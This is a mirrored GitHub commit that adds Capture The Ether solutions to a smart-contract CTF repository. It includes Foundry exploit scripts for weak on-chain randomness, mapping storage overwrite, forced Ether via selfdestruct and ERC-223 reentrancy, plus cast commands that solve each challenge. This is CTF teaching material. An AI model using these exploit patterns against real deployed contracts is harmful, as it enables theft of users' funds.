Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit fa2f2fc

Browse files
committed
Add Capture The Ether exploits
1 parent 847a2d6 commit fa2f2fc

File tree

9 files changed

+333
-45
lines changed

9 files changed

+333
-45
lines changed

.env

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1 +1,4 @@
11
RPC_ANKR_MAINNET=https://rpc.ankr.com/eth
2+
RPC_ANKR_GOERLI=https://rpc.ankr.com/eth_goerli
3+
RPC_ANKR_RINKEBY=https://rpc.ankr.com/eth_rinkeby
4+
RPC_ANKR_ROPSTEN=https://rpc.ankr.com/eth_ropsten

README.md

Lines changed: 46 additions & 45 deletions
Original file line numberDiff line numberDiff line change
@@ -73,26 +73,27 @@ Note:
7373
### Ethereum/contract basics
7474
- These challenges can be solved if you know the basic mechanics of Ethereum, [the basic language specification of Solidity](https://docs.soliditylang.org/en/latest/), and the basic operation of contracts.
7575

76-
| Challenge | Note, Keywords |
77-
| ------------------------------------------------- | ---------------------- |
78-
| Capture The Ether: Deploy a contract | faucet |
79-
| Capture The Ether: Call me | contract call |
80-
| Capture The Ether: Guess the number | contract call |
81-
| Capture The Ether: Guess the secret number | `keccak256` |
82-
| [Ethernaut: 0. Hello Ethernaut](src/Ethernaut/) | contract call, ABI |
83-
| [Ethernaut: 1. Fallback](src/Ethernaut/) | receive Ether function |
84-
| [Paradigm CTF 2021: Hello](src/ParadigmCTF2021/) | contract call |
85-
| 0x41414141 CTF: sanity-check | contract call |
86-
| 0x41414141 CTF: crackme.sol | |
87-
| [Paradigm CTF 2022: RANDOM](src/ParadigmCTF2022/) | |
76+
| Challenge | Note, Keywords |
77+
| ------------------------------------------------------------------ | ---------------------- |
78+
| [Capture The Ether: Deploy a contract](src/CaptureTheEther/) | faucet, wallet |
79+
| [Capture The Ether: Call me](src/CaptureTheEther/) | contract call |
80+
| [Capture The Ether: Choose a nickname](src/CaptureTheEther/) | contract call |
81+
| [Capture The Ether: Guess the number](src/CaptureTheEther/) | contract call |
82+
| [Capture The Ether: Guess the secret number](src/CaptureTheEther/) | `keccak256` |
83+
| [Ethernaut: 0. Hello Ethernaut](src/Ethernaut/) | contract call, ABI |
84+
| [Ethernaut: 1. Fallback](src/Ethernaut/) | receive Ether function |
85+
| [Paradigm CTF 2021: Hello](src/ParadigmCTF2021/) | contract call |
86+
| 0x41414141 CTF: sanity-check | contract call |
87+
| 0x41414141 CTF: crackme.sol | |
88+
| [Paradigm CTF 2022: RANDOM](src/ParadigmCTF2022/) | |
8889

8990
### EVM puzzles
9091
- Puzzle challenges that can be solved by understanding the EVM specifications.
9192
- No vulnerabilities are used to solve these challenges.
9293

9394
| Challenge | Note, Keywords |
9495
| ------------------------------------------------------------------ | ---------------------------------------------------------------------- |
95-
| Capture The Ether: Guess the new number | `block.number`, `block.timestamp` (formerly: `now`) |
96+
| [Capture The Ether: Guess the new number](src/CaptureTheEther/) | `block.number`, `block.timestamp` (formerly: `now`) |
9697
| Capture The Ether: Predict the block hash | `blockhash` (formerly: `block.blockhash`) |
9798
| [Ethernaut: 13. Gatekeeper One](src/Ethernaut/) | `msg.sender != tx.origin`, `gasleft().mod(8191) == 0`, type conversion |
9899
| [Ethernaut: 14. Gatekeeper Two](src/Ethernaut/) | `msg.sender != tx.origin`, `extcodesize` is 0 |
@@ -156,11 +157,11 @@ Note:
156157
- Arithmetic overflow has been detected and reverted state since Solidity v0.8.0.
157158
- Contracts written in earlier versions can be checked by using [the SafeMath library](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.4/contracts/math/SafeMath.sol).
158159

159-
| Challenge | Note, Keywords |
160-
| ------------------------------------- | -------------- |
161-
| Capture The Ether: Token sale | multiplication |
162-
| Capture The Ether: Token whale | subtraction |
163-
| [Ethernaut: 5. Token](src/Ethernaut/) | subtraction |
160+
| Challenge | Note, Keywords |
161+
| ------------------------------------------------------ | -------------- |
162+
| [Capture The Ether: Token sale](src/CaptureTheEther/) | multiplication |
163+
| [Capture The Ether: Token whale](src/CaptureTheEther/) | subtraction |
164+
| [Ethernaut: 5. Token](src/Ethernaut/) | subtraction |
164165

165166
### Non-executable Ether transfers to a contract
166167
- Do not create a contract on the assumption that normal Ether transfer (`.send()` or `.transfer()`) can always be executed.
@@ -176,10 +177,10 @@ Note:
176177
- When a contract executes `selfdestruct`, it can transfer its Ether to another contract or EOA, and this `selfdestruct` transfer can be forced even if the destination contract does not have the receive Ether function and the payable fallback function.
177178
- If the application is built on the assumption that the Ether is `0`, it could be a bug.
178179

179-
| Challenge | Note, Keywords |
180-
| ------------------------------------- | -------------- |
181-
| Capture The Ether: Retirement fund | |
182-
| [Ethernaut: 7. Force](src/Ethernaut/) | |
180+
| Challenge | Note, Keywords |
181+
| ---------------------------------------------------------- | ---------------- |
182+
| [Capture The Ether: Retirement fund](src/CaptureTheEther/) | integer overflow |
183+
| [Ethernaut: 7. Force](src/Ethernaut/) | |
183184

184185
### Large gas consumption by a contract callee
185186
- A large amount of gas can be consumed by loops and recursion in `call`, and there may not be enough gas for the rest of the process.
@@ -222,14 +223,14 @@ Note:
222223
- Since the state and the bytecodes of contracts are public, all variables, including private variables, are readable.
223224
- Private variables are only guaranteed not to be directly readable by other contracts, but we, as an entity outside the blockchain, can read them.
224225

225-
| Challenge | Note, Keywords |
226-
| ------------------------------------------------------------- | -------------- |
227-
| Capture The Ether: Guess the random number | |
228-
| [Ethernaut: 8. Vault](src/Ethernaut/) | |
229-
| [Ethernaut: 12. Privacy](src/Ethernaut/) | |
230-
| Cipher Shastra: Sherlock | |
231-
| 0x41414141 CTF: secure enclave | |
232-
| [EthernautDAO: 1. PrivateData](src/EthernautDAO/PrivateData/) | |
226+
| Challenge | Note, Keywords |
227+
| ------------------------------------------------------------------ | -------------- |
228+
| [Capture The Ether: Guess the random number](src/CaptureTheEther/) | |
229+
| [Ethernaut: 8. Vault](src/Ethernaut/) | |
230+
| [Ethernaut: 12. Privacy](src/Ethernaut/) | |
231+
| Cipher Shastra: Sherlock | |
232+
| 0x41414141 CTF: secure enclave | |
233+
| [EthernautDAO: 1. PrivateData](src/EthernautDAO/PrivateData/) | |
233234

234235
### Reversing transactions
235236
- Reversing the contents of a transaction or how the state has been changed by the transaction.
@@ -281,7 +282,7 @@ Note:
281282

282283
| Challenge | Note, Keywords |
283284
| ------------------------------------------------------------------------------- | -------------------------- |
284-
| Capture The Ether: Token bank | |
285+
| [Capture The Ether: Token bank](src/CaptureTheEther/) | ERC-223, `tokenFallback()` |
285286
| [Ethernaut: 10. Re-entrancy](src/Ethernaut/) | |
286287
| Paradigm CTF 2021: Yield Aggregator | |
287288
| HTB University CTF 2020 Quals: moneyHeist | |
@@ -419,20 +420,20 @@ Note:
419420
- It need not be due to overflow.
420421
- The `length` property has been read-only since v0.6.0.
421422

422-
| Challenge | Note, Keywords |
423-
| -------------------------------------------- | -------------- |
424-
| Capture The Ether: Mapping | |
425-
| [Ethernaut: 19. Alien Codex](src/Ethernaut/) | |
426-
| Paradigm CTF 2021: Bank | |
423+
| Challenge | Note, Keywords |
424+
| -------------------------------------------------- | -------------- |
425+
| [Capture The Ether: Mapping](src/CaptureTheEther/) | |
426+
| [Ethernaut: 19. Alien Codex](src/Ethernaut/) | |
427+
| Paradigm CTF 2021: Bank | |
427428

428429
### Constructor that is just a function by a typo (< Solidity 0.5.0)
429430
- In versions before v0.4.22, the constructor is defined as a function with the same name as the contract, so a typo of the constructor name could cause it to become just a function, resulting in a bug.
430431
- Since v0.5.0, this specification is removed and the `constructor` keyword must be used.
431432

432-
| Challenge | Note, Keywords |
433-
| --------------------------------------- | -------------- |
434-
| Capture The Ether: Assume ownership | |
435-
| [Ethernaut: 2. Fallout](src/Ethernaut/) | |
433+
| Challenge | Note, Keywords |
434+
| ----------------------------------------------------------- | -------------- |
435+
| [Capture The Ether: Assume ownership](src/CaptureTheEther/) | |
436+
| [Ethernaut: 2. Fallout](src/Ethernaut/) | |
436437

437438
### Storage overwrite via uninitialized storage pointer (< Solidity 0.5.0)
438439
- Since v0.5.0, uninitialized storage variables are forbidden, so this bug cannot occur.
@@ -479,11 +480,11 @@ Note
479480
| Dragon CTF 2020: Bit Flip 2 | 64-bit PoW |
480481

481482
## Cairo
482-
| Challenge | Note, Keywords |
483-
| --------------------------------------------------------------- | -------------- |
484-
| [Paradigm CTF 2022: RIDDLE-OF-THE-SPHINX](src/ParadigmCTF2022/) | contract call |
485-
| [Paradigm CTF 2022: CAIRO-PROXY](src/ParadigmCTF2022/) | overflow |
486-
| [Paradigm CTF 2022: CAIRO-AUCTION](src/ParadigmCTF2022/) | Uint256 |
483+
| Challenge | Note, Keywords |
484+
| --------------------------------------------------------------- | ---------------- |
485+
| [Paradigm CTF 2022: RIDDLE-OF-THE-SPHINX](src/ParadigmCTF2022/) | contract call |
486+
| [Paradigm CTF 2022: CAIRO-PROXY](src/ParadigmCTF2022/) | integer overflow |
487+
| [Paradigm CTF 2022: CAIRO-AUCTION](src/ParadigmCTF2022/) | Uint256 |
487488

488489
## Solana
489490
| Challenge | Note, Keywords |
Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
// SPDX-License-Identifier: UNLICENSED
2+
pragma solidity 0.8.16;
3+
4+
import "forge-std/Script.sol";
5+
6+
interface IChallenge {
7+
function guess(uint8 n) external payable;
8+
}
9+
10+
contract ExploitScript is Script {
11+
function run(address instanceAddress) public {
12+
vm.broadcast();
13+
new Exploit{value: 1 ether}(instanceAddress);
14+
}
15+
}
16+
17+
contract Exploit {
18+
constructor(address instanceAddress) payable {
19+
IChallenge(instanceAddress).guess{value: 1 ether}(
20+
uint8(uint256(keccak256(abi.encode(blockhash(block.number - 1), block.timestamp))))
21+
);
22+
selfdestruct(payable(msg.sender));
23+
}
24+
}
Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
// SPDX-License-Identifier: UNLICENSED
2+
pragma solidity 0.8.16;
3+
4+
import "forge-std/Script.sol";
5+
6+
interface IChallenge {
7+
function isComplete() external returns (bool);
8+
function set(uint256 key, uint256 value) external;
9+
function get(uint256 key) external view returns (uint256);
10+
}
11+
12+
contract ExploitScript is Script {
13+
function run(address instanceAddress) public {
14+
vm.startBroadcast();
15+
uint256 mapZeroIndex = uint256(keccak256(abi.encode(1)));
16+
IChallenge(instanceAddress).set(type(uint256).max - mapZeroIndex + 1, 1);
17+
require(IChallenge(instanceAddress).isComplete());
18+
}
19+
}

src/CaptureTheEther/README.md

Lines changed: 109 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,109 @@
1+
# Capture The Ether
2+
3+
**Challenges**
4+
- [Warmup](#warmup)
5+
- [Deploy a contract](#deploy-a-contract)
6+
- [Call me](#call-me)
7+
- [Choose a nickname](#choose-a-nickname)
8+
- [Lotteries](#lotteries)
9+
- [Guess the number](#guess-the-number)
10+
- [Guess the secret number](#guess-the-secret-number)
11+
- [Guess the random number](#guess-the-random-number)
12+
- [Guess the new number](#guess-the-new-number)
13+
- [Math](#math)
14+
- [Token sale](#token-sale)
15+
- [Token whale](#token-whale)
16+
- [Retirement fund](#retirement-fund)
17+
- [Mapping](#mapping)
18+
- [Miscellaneous](#miscellaneous)
19+
- [Assume ownership](#assume-ownership)
20+
- [Token bank](#token-bank)
21+
22+
## Warmup
23+
24+
### Deploy a contract
25+
Just send a transaction via Metamask.
26+
27+
### Call me
28+
```
29+
cast send --private-key $PRIVATE_KEY $INSTANCE_ADDRESS "callme()"
30+
```
31+
32+
### Choose a nickname
33+
```
34+
cast send --private-key $PRIVATE_KEY $INSTANCE_ADDRESS "setNickname(bytes32)" $(cast --to-bytes32 1)
35+
```
36+
37+
## Lotteries
38+
39+
### Guess the number
40+
```
41+
cast send --private-key $PRIVATE_KEY $INSTANCE_ADDRESS "guess(uint8)" 42 --value 1ether
42+
```
43+
44+
### Guess the secret number
45+
```py
46+
import sha3
47+
48+
for i in range(1 << 8):
49+
k = sha3.keccak_256()
50+
k.update(bytes([i]))
51+
if k.hexdigest() == "db81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365":
52+
print(i)
53+
break
54+
```
55+
Result: `170`
56+
57+
```
58+
cast send --private-key $PRIVATE_KEY $INSTANCE_ADDRESS "guess(uint8)" 170 --value 1ether
59+
```
60+
61+
### Guess the random number
62+
```
63+
$ cast storage $INSTANCE_ADDRESS 0
64+
0x0000000000000000000000000000000000000000000000000000000000000066
65+
```
66+
67+
```
68+
cast send --private-key $PRIVATE_KEY $INSTANCE_ADDRESS "guess(uint8)" 0x66 --value 1ether
69+
```
70+
71+
### Guess the new number
72+
```
73+
forge script src/CaptureTheEther/GuessTheNewNumber/Exploit.s.sol:ExploitScript --private-key $PRIVATE_KEY --broadcast -s "run(address)" $INSTANCE_ADDRESS
74+
```
75+
76+
## Math
77+
78+
### Token sale
79+
```
80+
forge script src/CaptureTheEther/TokenSale/Exploit.s.sol:ExploitScript --private-key $PRIVATE_KEY --broadcast -s "run(address)" $INSTANCE_ADDRESS
81+
```
82+
83+
### Token whale
84+
```
85+
forge script src/CaptureTheEther/TokenWhale/Exploit.s.sol:ExploitScript --private-key $PRIVATE_KEY --broadcast -s "run(address)" $INSTANCE_ADDRESS
86+
```
87+
88+
### Retirement fund
89+
```
90+
forge script src/CaptureTheEther/RetirementFund/Exploit.s.sol:ExploitScript --private-key $PRIVATE_KEY --broadcast -s "run(address)" $INSTANCE_ADDRESS
91+
```
92+
93+
### Mapping
94+
```
95+
forge script src/CaptureTheEther/Mapping/Exploit.s.sol:ExploitScript --private-key $PRIVATE_KEY --broadcast -s "run(address)" $INSTANCE_ADDRESS
96+
```
97+
98+
## Miscellaneous
99+
100+
### Assume ownership
101+
```
102+
cast send --private-key $PRIVATE_KEY $INSTANCE_ADDRESS "AssumeOwmershipChallenge()"
103+
cast send --private-key $PRIVATE_KEY $INSTANCE_ADDRESS "authenticate()"
104+
```
105+
106+
### Token bank
107+
```
108+
forge script src/CaptureTheEther/TokenBank/Exploit.s.sol:ExploitScript --private-key $PRIVATE_KEY --broadcast -s "run(address)" $INSTANCE_ADDRESS
109+
```
Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
// SPDX-License-Identifier: UNLICENSED
2+
pragma solidity 0.8.16;
3+
4+
import "forge-std/Script.sol";
5+
6+
interface IChallenge {
7+
function isComplete() external returns (bool);
8+
function collectPenalty() external;
9+
}
10+
11+
contract ExploitScript is Script {
12+
function run(address instanceAddress) public {
13+
vm.startBroadcast();
14+
new Exploit{value: 1}(instanceAddress);
15+
IChallenge(instanceAddress).collectPenalty();
16+
require(IChallenge(instanceAddress).isComplete());
17+
}
18+
}
19+
20+
contract Exploit {
21+
constructor(address instanceAddress) payable {
22+
selfdestruct(payable(instanceAddress));
23+
}
24+
}
Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
// SPDX-License-Identifier: UNLICENSED
2+
pragma solidity 0.8.16;
3+
4+
import "forge-std/Script.sol";
5+
6+
interface IChallenge {
7+
function isComplete() external returns (bool);
8+
function token() external returns (ISimpleERC223Token);
9+
function withdraw(uint256 amount) external;
10+
}
11+
12+
interface ISimpleERC223Token {
13+
function transfer(address to, uint256 value) external returns (bool success);
14+
}
15+
16+
contract ExploitScript is Script {
17+
function run(address instanceAddress) public {
18+
vm.startBroadcast();
19+
IChallenge challenge = IChallenge(instanceAddress);
20+
uint256 amount = 500000 * 10**18;
21+
challenge.withdraw(amount);
22+
Exploit exploit = new Exploit(instanceAddress);
23+
challenge.token().transfer(address(exploit), amount);
24+
exploit.exploit();
25+
require(challenge.isComplete());
26+
}
27+
}
28+
29+
contract Exploit {
30+
address immutable instanceAddress;
31+
uint256 constant amount = 500000 * 10**18;
32+
uint256 count = 0;
33+
bool underExploit = false;
34+
35+
constructor(address instanceAddress_) payable {
36+
instanceAddress = instanceAddress_;
37+
}
38+
39+
function exploit() public {
40+
underExploit = true;
41+
IChallenge(instanceAddress).token().transfer(instanceAddress, amount);
42+
IChallenge(instanceAddress).withdraw(amount);
43+
underExploit = false;
44+
}
45+
46+
function tokenFallback(address, uint256, bytes calldata) public {
47+
if (underExploit && count < 1) {
48+
count += 1;
49+
IChallenge(instanceAddress).withdraw(amount);
50+
}
51+
}
52+
}

0 commit comments

Comments
 (0)